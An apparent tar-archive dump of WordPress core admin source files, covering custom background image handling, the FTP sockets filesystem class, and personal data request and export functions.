<label><input type="checkbox" name="background-repeat" value="repeat"<?php checked( 'repeat', get_theme_mod( 'background_repeat', get_theme_support( 'custom-background', 'default-repeat' ) ) ); ?>> <?php _e( 'Repeat Background Image' ); ?></label>
</fieldset></td>
</tr>

<tr>
<th scope="row"><?php _ex( 'Scroll', 'Background Scroll' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
			<?php
			/* translators: Hidden accessibility text. */
			_ex( 'Scroll', 'Background Scroll' );
			?>
</span></legend>
<input name="background-attachment" type="hidden" value="fixed">
<label><input name="background-attachment" type="checkbox" value="scroll" <?php checked( 'scroll', get_theme_mod( 'background_attachment', get_theme_support( 'custom-background', 'default-attachment' ) ) ); ?>> <?php _e( 'Scroll with Page' ); ?></label>
</fieldset></td>
</tr>
<?php endif; // get_background_image() ?>
<tr>
<th scope="row"><?php _e( 'Background Color' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Background Color' );
		?>
</span></legend>
		<?php
		$default_color = '';
		if ( current_theme_supports( 'custom-background', 'default-color' ) ) {
			$default_color = ' data-default-color="#' . esc_attr( get_theme_support( 'custom-background', 'default-color' ) ) . '"';
		}
		?>
<input type="text" name="background-color" id="background-color" value="#<?php echo esc_attr( get_background_color() ); ?>"<?php echo $default_color; ?>>
</fieldset></td>
</tr>
</tbody>
</table>

		<?php wp_nonce_field( 'custom-background' ); ?>
		<?php submit_button( null, 'primary', 'save-background-options' ); ?>
</form>

</div>
		<?php
	}

	/**
	 * Handles an Image upload for the background image.
	 *
	 * @since 3.0.0
	 */
	public function handle_upload() {
		if ( empty( $_FILES ) ) {
			return;
		}

		check_admin_referer( 'custom-background-upload', '_wpnonce-custom-background-upload' );

		$overrides = array( 'test_form' => false );

		$uploaded_file = $_FILES['import'];
		$wp_filetype   = wp_check_filetype_and_ext( $uploaded_file['tmp_name'], $uploaded_file['name'] );
		if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) ) {
			wp_die( __( 'The uploaded file is not a valid image. Please try again.' ) );
		}

		$file = wp_handle_upload( $uploaded_file, $overrides );

		if ( isset( $file['error'] ) ) {
			wp_die( $file['error'] );
		}

		$url      = $file['url'];
		$type     = $file['type'];
		$file     = $file['file'];
		$filename = wp_basename( $file );

		// Construct the attachment array.
		$attachment = array(
			'post_title'     => $filename,
			'post_content'   => $url,
			'post_mime_type' => $type,
			'guid'           => $url,
			'context'        => 'custom-background',
		);

		// Save the data.
		$id = wp_insert_attachment( $attachment, $file );

		// Add the metadata.
		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) );
		update_post_meta( $id, '_wp_attachment_is_custom_background', get_option( 'stylesheet' ) );

		set_theme_mod( 'background_image', sanitize_url( $url ) );

		$thumbnail = wp_get_attachment_image_src( $id, 'thumbnail' );
		set_theme_mod( 'background_image_thumb', sanitize_url( $thumbnail[0] ) );

		/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
		$file = apply_filters( 'wp_create_file_in_uploads', $file, $id ); // For replication.

		$this->updated = true;
	}

	/**
	 * Handles Ajax request for adding custom background context to an attachment.
	 *
	 * Triggers when the user adds a new background image from the
	 * Media Manager.
	 *
	 * @since 4.1.0
	 */
	public function ajax_background_add() {
		check_ajax_referer( 'background-add', 'nonce' );

		if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_send_json_error();
		}

		$attachment_id = absint( $_POST['attachment_id'] );
		if ( $attachment_id < 1 ) {
			wp_send_json_error();
		}

		update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', get_stylesheet() );

		wp_send_json_success();
	}

	/**
	 * @since 3.4.0
	 * @deprecated 3.5.0
	 *
	 * @param array $form_fields
	 * @return array $form_fields
	 */
	public function attachment_fields_to_edit( $form_fields ) {
		return $form_fields;
	}

	/**
	 * @since 3.4.0
	 * @deprecated 3.5.0
	 *
	 * @param array $tabs
	 * @return array $tabs
	 */
	public function filter_upload_tabs( $tabs ) {
		return $tabs;
	}

	/**
	 * @since 3.4.0
	 * @deprecated 3.5.0
	 */
	public function wp_set_background_image() {
		check_ajax_referer( 'custom-background' );

		if ( ! current_user_can( 'edit_theme_options' ) || ! isset( $_POST['attachment_id'] ) ) {
			exit;
		}

		$attachment_id = absint( $_POST['attachment_id'] );

		$sizes = array_keys(
			/** This filter is documented in wp-admin/includes/media.php */
			apply_filters(
				'image_size_names_choose',
				array(
					'thumbnail' => __( 'Thumbnail' ),
					'medium'    => __( 'Medium' ),
					'large'     => __( 'Large' ),
					'full'      => __( 'Full Size' ),
				)
			)
		);

		$size = 'thumbnail';
		if ( in_array( $_POST['size'], $sizes, true ) ) {
			$size = esc_attr( $_POST['size'] );
		}

		update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', get_option( 'stylesheet' ) );

		$url       = wp_get_attachment_image_src( $attachment_id, $size );
		$thumbnail = wp_get_attachment_image_src( $attachment_id, 'thumbnail' );
		set_theme_mod( 'background_image', sanitize_url( $url[0] ) );
		set_theme_mod( 'background_image_thumb', sanitize_url( $thumbnail[0] ) );
		exit;
	}
}
class-wp-filesystem-ftpsockets.php000064400000044057150275632050013372 0ustar00<?php
/**
 * WordPress FTP Sockets Filesystem.
 *
 * @package WordPress
 * @subpackage Filesystem
 */

/**
 * WordPress Filesystem Class for implementing FTP Sockets.
 *
 * @since 2.5.0
 *
 * @see WP_Filesystem_Base
 */
class WP_Filesystem_ftpsockets extends WP_Filesystem_Base {

	/**
	 * @since 2.5.0
	 * @var ftp
	 */
	public $ftp;

	/**
	 * Constructor.
	 *
	 * @since 2.5.0
	 *
	 * @param array $opt
	 */
	public function __construct( $opt = '' ) {
		$this->method = 'ftpsockets';
		$this->errors = new WP_Error();

		// Check if possible to use ftp functions.
		if ( ! require_once ABSPATH . 'wp-admin/includes/class-ftp.php' ) {
			return;
		}

		$this->ftp = new ftp();

		if ( empty( $opt['port'] ) ) {
			$this->options['port'] = 21;
		} else {
			$this->options['port'] = (int) $opt['port'];
		}

		if ( empty( $opt['hostname'] ) ) {
			$this->errors->add( 'empty_hostname', __( 'FTP hostname is required' ) );
		} else {
			$this->options['hostname'] = $opt['hostname'];
		}

		// Check if the options provided are OK.
		if ( empty( $opt['username'] ) ) {
			$this->errors->add( 'empty_username', __( 'FTP username is required' ) );
		} else {
			$this->options['username'] = $opt['username'];
		}

		if ( empty( $opt['password'] ) ) {
			$this->errors->add( 'empty_password', __( 'FTP password is required' ) );
		} else {
			$this->options['password'] = $opt['password'];
		}
	}

	/**
	 * Connects filesystem.
	 *
	 * @since 2.5.0
	 *
	 * @return bool True on success, false on failure.
	 */
	public function connect() {
		if ( ! $this->ftp ) {
			return false;
		}

		$this->ftp->setTimeout( FS_CONNECT_TIMEOUT );

		if ( ! $this->ftp->SetServer( $this->options['hostname'], $this->options['port'] ) ) {
			$this->errors->add(
				'connect',
				sprintf(
					/* translators: %s: hostname:port */
					__( 'Failed to connect to FTP Server %s' ),
					$this->options['hostname'] . ':' . $this->options['port']
				)
			);

			return false;
		}

		if ( ! $this->ftp->connect() ) {
			$this->errors->add(
				'connect',
				sprintf(
					/* translators: %s: hostname:port */
					__( 'Failed to connect to FTP Server %s' ),
					$this->options['hostname'] . ':' . $this->options['port']
				)
			);

			return false;
		}

		if ( ! $this->ftp->login( $this->options['username'], $this->options['password'] ) ) {
			$this->errors->add(
				'auth',
				sprintf(
					/* translators: %s: Username. */
					__( 'Username/Password incorrect for %s' ),
					$this->options['username']
				)
			);

			return false;
		}

		$this->ftp->SetType( FTP_BINARY );
		$this->ftp->Passive( true );
		$this->ftp->setTimeout( FS_TIMEOUT );

		return true;
	}

	/**
	 * Reads entire file into a string.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Name of the file to read.
	 * @return string|false Read data on success, false if no temporary file could be opened,
	 *                      or if the file couldn't be retrieved.
	 */
	public function get_contents( $file ) {
		if ( ! $this->exists( $file ) ) {
			return false;
		}

		$tempfile   = wp_tempnam( $file );
		$temphandle = fopen( $tempfile, 'w+' );

		if ( ! $temphandle ) {
			unlink( $tempfile );
			return false;
		}

		mbstring_binary_safe_encoding();

		if ( ! $this->ftp->fget( $temphandle, $file ) ) {
			fclose( $temphandle );
			unlink( $tempfile );

			reset_mbstring_encoding();

			return ''; // Blank document. File does exist, it's just blank.
		}

		reset_mbstring_encoding();

		fseek( $temphandle, 0 ); // Skip back to the start of the file being written to.
		$contents = '';

		while ( ! feof( $temphandle ) ) {
			$contents .= fread( $temphandle, 8 * KB_IN_BYTES );
		}

		fclose( $temphandle );
		unlink( $tempfile );

		return $contents;
	}

	/**
	 * Reads entire file into an array.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return array|false File contents in an array on success, false on failure.
	 */
	public function get_contents_array( $file ) {
		return explode( "\n", $this->get_contents( $file ) );
	}

	/**
	 * Writes a string to a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $file     Remote path to the file where to write the data.
	 * @param string    $contents The data to write.
	 * @param int|false $mode     Optional. The file permissions as octal number, usually 0644.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function put_contents( $file, $contents, $mode = false ) {
		$tempfile   = wp_tempnam( $file );
		$temphandle = @fopen( $tempfile, 'w+' );

		if ( ! $temphandle ) {
			unlink( $tempfile );
			return false;
		}

		// The FTP class uses string functions internally during file download/upload.
		mbstring_binary_safe_encoding();

		$bytes_written = fwrite( $temphandle, $contents );

		if ( false === $bytes_written || strlen( $contents ) !== $bytes_written ) {
			fclose( $temphandle );
			unlink( $tempfile );

			reset_mbstring_encoding();

			return false;
		}

		fseek( $temphandle, 0 ); // Skip back to the start of the file being written to.

		$ret = $this->ftp->fput( $file, $temphandle );

		reset_mbstring_encoding();

		fclose( $temphandle );
		unlink( $tempfile );

		$this->chmod( $file, $mode );

		return $ret;
	}

	/**
	 * Gets the current working directory.
	 *
	 * @since 2.5.0
	 *
	 * @return string|false The current working directory on success, false on failure.
	 */
	public function cwd() {
		$cwd = $this->ftp->pwd();

		if ( $cwd ) {
			$cwd = trailingslashit( $cwd );
		}

		return $cwd;
	}

	/**
	 * Changes current directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $dir The new current directory.
	 * @return bool True on success, false on failure.
	 */
	public function chdir( $dir ) {
		return $this->ftp->chdir( $dir );
	}

	/**
	 * Changes filesystem permissions.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $file      Path to the file.
	 * @param int|false $mode      Optional. The permissions as octal number, usually 0644 for files,
	 *                             0755 for directories. Default false.
	 * @param bool      $recursive Optional. If set to true, changes file permissions recursively.
	 *                             Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chmod( $file, $mode = false, $recursive = false ) {
		if ( ! $mode ) {
			if ( $this->is_file( $file ) ) {
				$mode = FS_CHMOD_FILE;
			} elseif ( $this->is_dir( $file ) ) {
				$mode = FS_CHMOD_DIR;
			} else {
				return false;
			}
		}

		// chmod any sub-objects if recursive.
		if ( $recursive && $this->is_dir( $file ) ) {
			$filelist = $this->dirlist( $file );

			foreach ( (array) $filelist as $filename => $filemeta ) {
				$this->chmod( $file . '/' . $filename, $mode, $recursive );
			}
		}

		// chmod the file or directory.
		return $this->ftp->chmod( $file, $mode );
	}

	/**
	 * Gets the file owner.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false Username of the owner on success, false on failure.
	 */
	public function owner( $file ) {
		$dir = $this->dirlist( $file );

		return $dir[ $file ]['owner'];
	}

	/**
	 * Gets the permissions of the specified file or filepath in their octal format.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string Mode of the file (the last 3 digits).
	 */
	public function getchmod( $file ) {
		$dir = $this->dirlist( $file );

		return $dir[ $file ]['permsn'];
	}

	/**
	 * Gets the file's group.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false The group on success, false on failure.
	 */
	public function group( $file ) {
		$dir = $this->dirlist( $file );

		return $dir[ $file ]['group'];
	}

	/**
	 * Copies a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $source      Path to the source file.
	 * @param string    $destination Path to the destination file.
	 * @param bool      $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                               Default false.
	 * @param int|false $mode        Optional. The permissions as octal number, usually 0644 for files,
	 *                               0755 for dirs. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function copy( $source, $destination, $overwrite = false, $mode = false ) {
		if ( ! $overwrite && $this->exists( $destination ) ) {
			return false;
		}

		$content = $this->get_contents( $source );

		if ( false === $content ) {
			return false;
		}

		return $this->put_contents( $destination, $content, $mode );
	}

	/**
	 * Moves a file or directory.
	 *
	 * After moving files or directories, OPcache will need to be invalidated.
	 *
	 * If moving a directory fails, `copy_dir()` can be used for a recursive copy.
	 *
	 * Use `move_dir()` for moving directories with OPcache invalidation and a
	 * fallback to `copy_dir()`.
	 *
	 * @since 2.5.0
	 *
	 * @param string $source      Path to the source file or directory.
	 * @param string $destination Path to the destination file or directory.
	 * @param bool   $overwrite   Optional. Whether to overwrite the destination if it exists.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function move( $source, $destination, $overwrite = false ) {
		return $this->ftp->rename( $source, $destination );
	}

	/**
	 * Deletes a file or directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string       $file      Path to the file or directory.
	 * @param bool         $recursive Optional. If set to true, deletes files and folders recursively.
	 *                                Default false.
	 * @param string|false $type      Type of resource. 'f' for file, 'd' for directory.
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function delete( $file, $recursive = false, $type = false ) {
		if ( empty( $file ) ) {
			return false;
		}

		if ( 'f' === $type || $this->is_file( $file ) ) {
			return $this->ftp->delete( $file );
		}

		if ( ! $recursive ) {
			return $this->ftp->rmdir( $file );
		}

		return $this->ftp->mdel( $file );
	}

	/**
	 * Checks if a file or directory exists.
	 *
	 * @since 2.5.0
	 * @since 6.3.0 Returns false for an empty path.
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path exists or not.
	 */
	public function exists( $path ) {
		/*
		 * Check for empty path. If ftp::nlist() receives an empty path,
		 * it checks the current working directory and may return true.
		 *
		 * See https://core.trac.wordpress.org/ticket/33058.
		 */
		if ( '' === $path ) {
			return false;
		}

		$list = $this->ftp->nlist( $path );

		if ( empty( $list ) && $this->is_dir( $path ) ) {
			return true; // File is an empty directory.
		}

		return ! empty( $list ); // Empty list = no file, so invert.
		// Return $this->ftp->is_exists($file); has issues with ABOR+426 responses on the ncFTPd server.
	}

	/**
	 * Checks if resource is a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file File path.
	 * @return bool Whether $file is a file.
	 */
	public function is_file( $file ) {
		if ( $this->is_dir( $file ) ) {
			return false;
		}

		if ( $this->exists( $file ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Checks if resource is a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path Directory path.
	 * @return bool Whether $path is a directory.
	 */
	public function is_dir( $path ) {
		$cwd = $this->cwd();

		if ( $this->chdir( $path ) ) {
			$this->chdir( $cwd );
			return true;
		}

		return false;
	}

	/**
	 * Checks if a file is readable.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return bool Whether $file is readable.
	 */
	public function is_readable( $file ) {
		return true;
	}

	/**
	 * Checks if a file or directory is writable.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path is writable.
	 */
	public function is_writable( $path ) {
		return true;
	}

	/**
	 * Gets the file's last access time.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing last access time, false on failure.
	 */
	public function atime( $file ) {
		return false;
	}

	/**
	 * Gets the file modification time.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing modification time, false on failure.
	 */
	public function mtime( $file ) {
		return $this->ftp->mdtm( $file );
	}

	/**
	 * Gets the file size (in bytes).
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Size of the file in bytes on success, false on failure.
	 */
	public function size( $file ) {
		return $this->ftp->filesize( $file );
	}

	/**
	 * Sets the access and modification times of a file.
	 *
	 * Note: If $file doesn't exist, it will be created.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file  Path to file.
	 * @param int    $time  Optional. Modified time to set for file.
	 *                      Default 0.
	 * @param int    $atime Optional. Access time to set for file.
	 *                      Default 0.
	 * @return bool True on success, false on failure.
	 */
	public function touch( $file, $time = 0, $atime = 0 ) {
		return false;
	}

	/**
	 * Creates a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string           $path  Path for new directory.
	 * @param int|false        $chmod Optional. The permissions as octal number (or false to skip chmod).
	 *                                Default false.
	 * @param string|int|false $chown Optional. A user name or number (or false to skip chown).
	 *                                Default false.
	 * @param string|int|false $chgrp Optional. A group name or number (or false to skip chgrp).
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) {
		$path = untrailingslashit( $path );

		if ( empty( $path ) ) {
			return false;
		}

		if ( ! $this->ftp->mkdir( $path ) ) {
			return false;
		}

		if ( ! $chmod ) {
			$chmod = FS_CHMOD_DIR;
		}

		$this->chmod( $path, $chmod );

		return true;
	}

	/**
	 * Deletes a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path      Path to directory.
	 * @param bool   $recursive Optional. Whether to recursively remove files/directories.
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function rmdir( $path, $recursive = false ) {
		return $this->delete( $path, $recursive );
	}

	/**
	 * Gets details for files in a directory or a specific file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path           Path to directory or file.
	 * @param bool   $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
	 *                               Default true.
	 * @param bool   $recursive      Optional. Whether to recursively include file details in nested directories.
	 *                               Default false.
	 * @return array|false {
	 *     Array of arrays containing file information. False if unable to list directory contents.
	 *
	 *     @type array $0... {
	 *         Array of file information. Note that some elements may not be available on all filesystems.
	 *
	 *         @type string           $name        Name of the file or directory.
	 *         @type string           $perms       *nix representation of permissions.
	 *         @type string           $permsn      Octal representation of permissions.
	 *         @type int|string|false $number      File number. May be a numeric string. False if not available.
	 *         @type string|false     $owner       Owner name or ID, or false if not available.
	 *         @type string|false     $group       File permissions group, or false if not available.
	 *         @type int|string|false $size        Size of file in bytes. May be a numeric string.
	 *                                             False if not available.
	 *         @type int|string|false $lastmodunix Last modified unix timestamp. May be a numeric string.
	 *                                             False if not available.
	 *         @type string|false     $lastmod     Last modified month (3 letters) and day (without leading 0), or
	 *                                             false if not available.
	 *         @type string|false     $time        Last modified time, or false if not available.
	 *         @type string           $type        Type of resource. 'f' for file, 'd' for directory, 'l' for link.
	 *         @type array|false      $files       If a directory and `$recursive` is true, contains another array of
	 *                                             files. False if unable to list directory contents.
	 *     }
	 * }
	 */
	public function dirlist( $path = '.', $include_hidden = true, $recursive = false ) {
		if ( $this->is_file( $path ) ) {
			$limit_file = basename( $path );
			$path       = dirname( $path ) . '/';
		} else {
			$limit_file = false;
		}

		mbstring_binary_safe_encoding();

		$list = $this->ftp->dirlist( $path );

		if ( empty( $list ) && ! $this->exists( $path ) ) {

			reset_mbstring_encoding();

			return false;
		}

		$path = trailingslashit( $path );
		$ret  = array();

		foreach ( $list as $struc ) {

			if ( '.' === $struc['name'] || '..' === $struc['name'] ) {
				continue;
			}

			if ( ! $include_hidden && '.' === $struc['name'][0] ) {
				continue;
			}

			if ( $limit_file && $struc['name'] !== $limit_file ) {
				continue;
			}

			if ( 'd' === $struc['type'] ) {
				if ( $recursive ) {
					$struc['files'] = $this->dirlist( $path . $struc['name'], $include_hidden, $recursive );
				} else {
					$struc['files'] = array();
				}
			}

			// Replace symlinks formatted as "source -> target" with just the source name.
			if ( $struc['islink'] ) {
				$struc['name'] = preg_replace( '/(\s*->\s*.*)$/', '', $struc['name'] );
			}

			// Add the octal representation of the file permissions.
			$struc['permsn'] = $this->getnumchmodfromh( $struc['perms'] );

			$ret[ $struc['name'] ] = $struc;
		}

		reset_mbstring_encoding();

		return $ret;
	}

	/**
	 * Destructor.
	 *
	 * @since 2.5.0
	 */
	public function __destruct() {
		$this->ftp->quit();
	}
}
privacy-tools.php000064400000101266150275632050010103 0ustar00<?php
/**
 * WordPress Administration Privacy Tools API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Resend an existing request and return the result.
 *
 * @since 4.9.6
 * @access private
 *
 * @param int $request_id Request ID.
 * @return true|WP_Error Returns true if sending the email was successful, or a WP_Error object.
 */
function _wp_privacy_resend_request( $request_id ) {
	$request_id = absint( $request_id );
	$request    = get_post( $request_id );

	if ( ! $request || 'user_request' !== $request->post_type ) {
		return new WP_Error( 'privacy_request_error', __( 'Invalid personal data request.' ) );
	}

	$result = wp_send_user_request( $request_id );

	if ( is_wp_error( $result ) ) {
		return $result;
	} elseif ( ! $result ) {
		return new WP_Error( 'privacy_request_error', __( 'Unable to initiate confirmation for personal data request.' ) );
	}

	return true;
}

/**
 * Marks a request as completed by the admin and logs the current timestamp.
 *
 * @since 4.9.6
 * @access private
 *
 * @param int $request_id Request ID.
 * @return int|WP_Error Request ID on success, or a WP_Error on failure.
 */
function _wp_privacy_completed_request( $request_id ) {
	// Get the request.
	$request_id = absint( $request_id );
	$request    = wp_get_user_request( $request_id );

	if ( ! $request ) {
		return new WP_Error( 'privacy_request_error', __( 'Invalid personal data request.' ) );
	}

	update_post_meta( $request_id, '_wp_user_request_completed_timestamp', time() );

	$result = wp_update_post(
		array(
			'ID'          => $request_id,
			'post_status' => 'request-completed',
		)
	);

	return $result;
}

/**
 * Handle list table actions.
 *
 * @since 4.9.6
 * @access private
 */
function _wp_personal_data_handle_actions() {
	if ( isset( $_POST['privacy_action_email_retry'] ) ) {
		check_admin_referer( 'bulk-privacy_requests' );

		$request_id = absint( current( array_keys( (array) wp_unslash( $_POST['privacy_action_email_retry'] ) ) ) );
		$result     = _wp_privacy_resend_request( $request_id );

		if ( is_wp_error( $result ) ) {
			add_settings_error(
				'privacy_action_email_retry',
				'privacy_action_email_retry',
				$result->get_error_message(),
				'error'
			);
		} else {
			add_settings_error(
				'privacy_action_email_retry',
				'privacy_action_email_retry',
				__( 'Confirmation request sent again successfully.' ),
				'success'
			);
		}
	} elseif ( isset( $_POST['action'] ) ) {
		$action = ! empty( $_POST['action'] ) ? sanitize_key( wp_unslash( $_POST['action'] ) ) : '';

		switch ( $action ) {
			case 'add_export_personal_data_request':
			case 'add_remove_personal_data_request':
				check_admin_referer( 'personal-data-request' );

				if ( ! isset( $_POST['type_of_action'], $_POST['username_or_email_for_privacy_request'] ) ) {
					add_settings_error(
						'action_type',
						'action_type',
						__( 'Invalid personal data action.' ),
						'error'
					);
				}
				$action_type               = sanitize_text_field( wp_unslash( $_POST['type_of_action'] ) );
				$username_or_email_address = sanitize_text_field( wp_unslash( $_POST['username_or_email_for_privacy_request'] ) );
				$email_address             = '';
				$status                    = 'pending';

				if ( ! isset( $_POST['send_confirmation_email'] ) ) {
					$status = 'confirmed';
				}

				if ( ! in_array( $action_type, _wp_privacy_action_request_types(), true ) ) {
					add_settings_error(
						'action_type',
						'action_type',
						__( 'Invalid personal data action.' ),
						'error'
					);
				}

				if ( ! is_email( $username_or_email_address ) ) {
					$user = get_user_by( 'login', $username_or_email_address );
					if ( ! $user instanceof WP_User ) {
						add_settings_error(
							'username_or_email_for_privacy_request',
							'username_or_email_for_privacy_request',
							__( 'Unable to add this request. A valid email address or username must be supplied.' ),
							'error'
						);
					} else {
						$email_address = $user->user_email;
					}
				} else {
					$email_address = $username_or_email_address;
				}

				if ( empty( $email_address ) ) {
					break;
				}

				$request_id = wp_create_user_request( $email_address, $action_type, array(), $status );
				$message    = '';

				if ( is_wp_error( $request_id ) ) {
					$message = $request_id->get_error_message();
				} elseif ( ! $request_id ) {
					$message = __( 'Unable to initiate confirmation request.' );
				}

				if ( $message ) {
					add_settings_error(
						'username_or_email_for_privacy_request',
						'username_or_email_for_privacy_request',
						$message,
						'error'
					);
					break;
				}

				if ( 'pending' === $status ) {
					wp_send_user_request( $request_id );

					$message = __( 'Confirmation request initiated successfully.' );
				} elseif ( 'confirmed' === $status ) {
					$message = __( 'Request added successfully.' );
				}

				if ( $message ) {
					add_settings_error(
						'username_or_email_for_privacy_request',
						'username_or_email_for_privacy_request',
						$message,
						'success'
					);
					break;
				}
		}
	}
}

/**
 * Cleans up failed and expired requests before displaying the list table.
 *
 * @since 4.9.6
 * @access private
 */
function _wp_personal_data_cleanup_requests() {
	/** This filter is documented in wp-includes/user.php */
	$expires = (int) apply_filters( 'user_request_key_expiration', DAY_IN_SECONDS );

	$requests_query = new WP_Query(
		array(
			'post_type'      => 'user_request',
			'posts_per_page' => -1,
			'post_status'    => 'request-pending',
			'fields'         => 'ids',
			'date_query'     => array(
				array(
					'column' => 'post_modified_gmt',
					'before' => $expires . ' seconds ago',
				),
			),
		)
	);

	$request_ids = $requests_query->posts;

	foreach ( $request_ids as $request_id ) {
		wp_update_post(
			array(
				'ID'            => $request_id,
				'post_status'   => 'request-failed',
				'post_password' => '',
			)
		);
	}
}

/**
 * Generate a single group for the personal data export report.
 *
 * @since 4.9.6
 * @since 5.4.0 Added the `$group_id` and `$groups_count` parameters.
 *
 * @param array  $group_data {
 *     The group data to render.
 *
 *     @type string $group_label  The user-facing heading for the group, e.g. 'Comments'.
 *     @type array  $items        {
 *         An array of group items.
 *
 *         @type array  $group_item_data  {
 *             An array of name-value pairs for the item.
 *
 *             @type string $name   The user-facing name of an item name-value pair, e.g. 'IP Address'.
 *             @type string $value  The user-facing value of an item data pair, e.g. '50.60.70.0'.
 *         }
 *     }
 * }
 * @param string $group_id     The group identifier.
 * @param int    $groups_count The number of all groups
 * @return string The HTML for this group and its items.
 */
function wp_privacy_generate_personal_data_export_group_html( $group_data, $group_id = '', $groups_count = 1 ) {
	$group_id_attr = sanitize_title_with_dashes( $group_data['group_label'] . '-' . $group_id );

	$group_html  = '<h2 id="' . esc_attr( $group_id_attr ) . '">';
	$group_html .= esc_html( $group_data['group_label'] );

	$items_count = count( (array) $group_data['items'] );
	if ( $items_count > 1 ) {
		$group_html .= sprintf( ' <span class="count">(%d)</span>', $items_count );
	}

	$group_html .= '</h2>';

	if ( ! empty( $group_data['group_description'] ) ) {
		$group_html .= '<p>' . esc_html( $group_data['group_description'] ) . '</p>';
	}

	$group_html .= '<div>';

	foreach ( (array) $group_data['items'] as $group_item_id => $group_item_data ) {
		$group_html .= '<table>';
		$group_html .= '<tbody>';

		foreach ( (array) $group_item_data as $group_item_datum ) {
			$value = $group_item_datum['value'];
			// If it looks like a link, make it a link.
			if ( ! str_contains( $value, ' ' ) && ( str_starts_with( $value, 'http://' ) || str_starts_with( $value, 'https://' ) ) ) {
				$value = '<a href="' . esc_url( $value ) . '">' . esc_html( $value ) . '</a>';
			}

			$group_html .= '<tr>';
			$group_html .= '<th>' . esc_html( $group_item_datum['name'] ) . '</th>';
			$group_html .= '<td>' . wp_kses( $value, 'personal_data_export' ) . '</td>';
			$group_html .= '</tr>';
		}

		$group_html .= '</tbody>';
		$group_html .= '</table>';
	}

	if ( $groups_count > 1 ) {
		$group_html .= '<div class="return-to-top">';
		$group_html .= '<a href="#top"><span aria-hidden="true">&uarr; </span> ' . esc_html__( 'Go to top' ) . '</a>';
		$group_html .= '</div>';
	}

	$group_html .= '</div>';

	return $group_html;
}

/**
 * Generate the personal data export file.
 *
 * @since 4.9.6
 *
 * @param int $request_id The export request ID.
 */
function wp_privacy_generate_personal_data_export_file( $request_id ) {
	if ( ! class_exists( 'ZipArchive' ) ) {
		wp_send_json_error( __( 'Unable to generate personal data export file. ZipArchive not available.' ) );
	}

	// Get the request.
	$request = wp_get_user_request( $request_id );

	if ( ! $request || 'export_personal_data' !== $request->action_name ) {
		wp_send_json_error( __( 'Invalid request ID when generating personal data export file.' ) );
	}

	$email_address = $request->email;

	if ( ! is_email( $email_address ) ) {
		wp_send_json_error( __( 'Invalid email address when generating personal data export file.' ) );
	}

	// Create the exports folder if needed.
	$exports_dir = wp_privacy_exports_dir();
	$exports_url = wp_privacy_exports_url();

	if ( ! wp_mkdir_p( $exports_dir ) ) {
		wp_send_json_error( __( 'Unable to create personal data export folder.' ) );
	}

	// Protect export folder from browsing.
	$index_pathname = $exports_dir . 'index.php';
	if ( ! file_exists( $index_pathname ) ) {
		$file = fopen( $index_pathname, 'w' );
		if ( false === $file ) {
			wp_send_json_error( __( 'Unable to protect personal data export folder from browsing.' ) );
		}
		fwrite( $file, "<?php\n// Silence is golden.\n" );
		fclose( $file );
	}

	$obscura              = wp_generate_password( 32, false, false );
	$file_basename        = 'wp-personal-data-file-' . $obscura;
	$html_report_filename = wp_unique_filename( $exports_dir, $file_basename . '.html' );
	$html_report_pathname = wp_normalize_path( $exports_dir . $html_report_filename );
	$json_report_filename = $file_basename . '.json';
	$json_report_pathname = wp_normalize_path( $exports_dir . $json_report_filename );

	/*
	 * Gather general data needed.
	 */

	// Title.
	$title = sprintf(
		/* translators: %s: User's email address. */
		__( 'Personal Data Export for %s' ),
		$email_address
	);

	// First, build an "About" group on the fly for this report.
	$about_group = array(
		/* translators: Header for the About section in a personal data export. */
		'group_label'       => _x( 'About', 'personal data group label' ),
		/* translators: Description for the About section in a personal data export. */
		'group_description' => _x( 'Overview of export report.', 'personal data group description' ),
		'items'             => array(
			'about-1' => array(
				array(
					'name'  => _x( 'Report generated for', 'email address' ),
					'value' => $email_address,
				),
				array(
					'name'  => _x( 'For site', 'website name' ),
